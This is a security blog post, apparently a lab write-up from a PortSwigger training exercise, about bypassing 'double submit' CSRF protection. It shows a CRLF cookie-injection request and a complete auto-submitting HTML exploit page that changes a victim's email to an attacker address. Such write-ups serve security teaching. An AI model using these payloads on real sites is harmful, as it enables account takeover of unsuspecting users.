Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF where token is duplicated in cookie

CSRF where token is duplicated in cookie: This lab’s email change functionality is vulnerable to CSRF. It uses the insecure "double submit" CSRF prevention technique. • PortSwigger • CSRF • csrf, lab6

2022-11-303 tags
Tags

🎯 Objective

This lab’s email change functionality is vulnerable to CSRF.
It uses the insecure "double submit" CSRF prevention technique.

Goal: Use the exploit server to host an HTML page that changes the victim’s email address.


🧭 Testing CSRF Token Behavior

During testing, the following checks were performed:

  • Remove the CSRF token to see if the request is accepted.
  • Change POST to GET and verify if CSRF tokens are tied to sessions.
  • Submit an invalid CSRF token.
  • Submit a valid CSRF token from another user.
  • Submit a valid CSRF token with cookie from another user.

🔎 Exploit Method

The application tied CSRF validation to a cookie-based token.
By injecting a custom cookie via the search function, it was possible to overwrite the CSRF token.

Example Request

http
GET /?search=ko%0d%0aSet-Cookie:%20csrf=123 HTTP/1.1
Host: 0a12001903d76eadc06a6b8600ed00cd.web-security-academy.net
Cookie: session=njGRRr2UZqRdTqo5WvHCExFeFN4Tvl2x; csrf=4Tj1xttyGkQfhpIzee5Ka2ide0Q44k3K;
LastSearchTerm=x%0d%0aSet-Cookie:+csrf=123

Response

http
HTTP/1.1 200 OK
Set-Cookie: LastSearchTerm=ko
Set-Cookie: csrf=123; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
Connection: close

As shown, the server sets the cookie:

text
csrf=123

📄 Exploit Payload

By combining the cookie injection and CSRF form submission, the following HTML payload was hosted on the exploit server:

html
<html>
  <body>
    <form action="https://0a12001903d76eadc06a6b8600ed00cd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
      <input type="hidden" name="csrf" value="test" />
    </form>
    <script>
      history.pushState('', '', '/');
      // Force victim to set the CSRF cookie
      var img = new Image();
      img.src = "https://0a12001903d76eadc06a6b8600ed00cd.web-security-academy.net/?search=ko%0d%0aSet-Cookie:%20csrf=test";
      // Submit the form automatically
      document.forms[0].submit();
    </script>
  </body>
</html>

📸 Evidence

CSRF exploit working


✅ Result

  • Successfully set the CSRF cookie to a predictable value.
  • Exploit form submission bypassed CSRF validation.
  • Victim’s email was changed without their consent.

💡 Key Takeaway

  • The double submit cookie pattern is insecure when cookies can be overwritten.
  • Always bind CSRF tokens to the user session and validate server-side.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Testing CSRF Token Behavior
  3. 03🔎 Exploit Method
  4. 04Example Request
  5. 05Response
  6. 06📄 Exploit Payload
  7. 07📸 Evidence
  8. 08✅ Result
  9. 09💡 Key Takeaway
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.